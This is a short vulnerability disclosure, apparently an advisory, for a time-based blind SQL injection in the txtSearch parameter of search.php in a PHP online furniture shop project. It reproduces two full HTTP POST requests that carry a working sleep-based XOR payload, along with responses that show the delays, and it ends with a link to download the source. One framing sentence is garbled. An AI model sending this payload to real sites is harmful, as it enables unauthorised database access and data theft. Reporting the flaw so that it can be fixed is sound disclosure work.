

SQL injection vulnerability exists in txtSearch parameter of search.php file of Online Furniture Shopping Ecommerce Website Project

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 4s:

**Request**

```
1 POST /furniture_master/search.php HTTP/1.1
2 Content-Type: application/x-www-form-urlencoded
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/furniture_master/
5 Cookie: PHPSESSID=r5217414r7k401fvvq3qngdbkh;
  basket[id]=4%3A1; basket[id]=4%3A1; basket[name]=
  Dawson+Bed%3ABrighton+Bed; basket[name]=
  Dawson+Bed%3ABrighton+Bed; basket[price]=
  9090%3A11570; basket[price]=9090%3A11570;
  basket[qty]=19623944%3A9; basket[qty]=1%3A7;
  basket[imageName]=bed4.jpg%3Abed1.jpg;
  basket[imageName]=bed4.jpg%3Abed1.jpg; basket[type]=
  bed%3Abed; basket[type]=bed%3Abed
6 Content-Length: 67
7 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.
  9,*/*;q=0.8
8 Accept-Encoding: gzip,deflate,br
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
  x64) AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/114.0.0.0 Safari/537.36
10 Host: 192.168.31.163
11 Connection: Keep-alive
12
13 btnSearch=&txtSearch=
  0'XOR(if(now())=sysdate())%2Csleep(2)%2C0))XOR'Z
```

**Response**

```
1 HTTP/1.1 302 Found
2 Server: nginx/1.15.11
3 Date: Fri, 19 Apr 2024 06:09:18 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Location: prodInfo.php
8 Content-Length: 0
9
10
```

Done 214 bytes | 4,011 millis

Sleep time is 8s:

**Request**

```
1 POST /furniture_master/search.php HTTP/1.1
2 Content-Type: application/x-www-form-urlencoded
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/furniture_master/
5 Cookie: PHPSESSID=r5217414r7k401fvvq3qngdbkh;
  basket[id]=4%3A1; basket[id]=4%3A1; basket[name]=
  Dawson+Bed%3ABrighton+Bed; basket[name]=
  Dawson+Bed%3ABrighton+Bed; basket[price]=
  9090%3A11570; basket[price]=9090%3A11570;
  basket[qty]=19623944%3A9; basket[qty]=1%3A7;
  basket[imageName]=bed4.jpg%3Abed1.jpg;
  basket[imageName]=bed4.jpg%3Abed1.jpg; basket[type]=
  bed%3Abed; basket[type]=bed%3Abed
6 Content-Length: 67
7 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.
  9,*/*;q=0.8
8 Accept-Encoding: gzip,deflate,br
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
  x64) AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/114.0.0.0 Safari/537.36
10 Host: 192.168.31.163
11 Connection: Keep-alive
12
13 btnSearch=&txtSearch=
  0'XOR(if(now())=sysdate())%2Csleep(4)%2C0))XOR'Z
```

**Response**

```
1 HTTP/1.1 302 Found
2 Server: nginx/1.15.11
3 Date: Fri, 19 Apr 2024 06:07:27 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Location: prodInfo.php
8 Content-Length: 0
9
10
```

Done 214 bytes | 8,186 millis

Payload: txtSearch=0'XOR(if(now())=sysdate())%2Csleep(2)%2C0))XOR'Z

Source Download:

<https://www.kashipara.com/project/php/12661/online-furniture-shopping-ecommerce-website-php-project-source-code>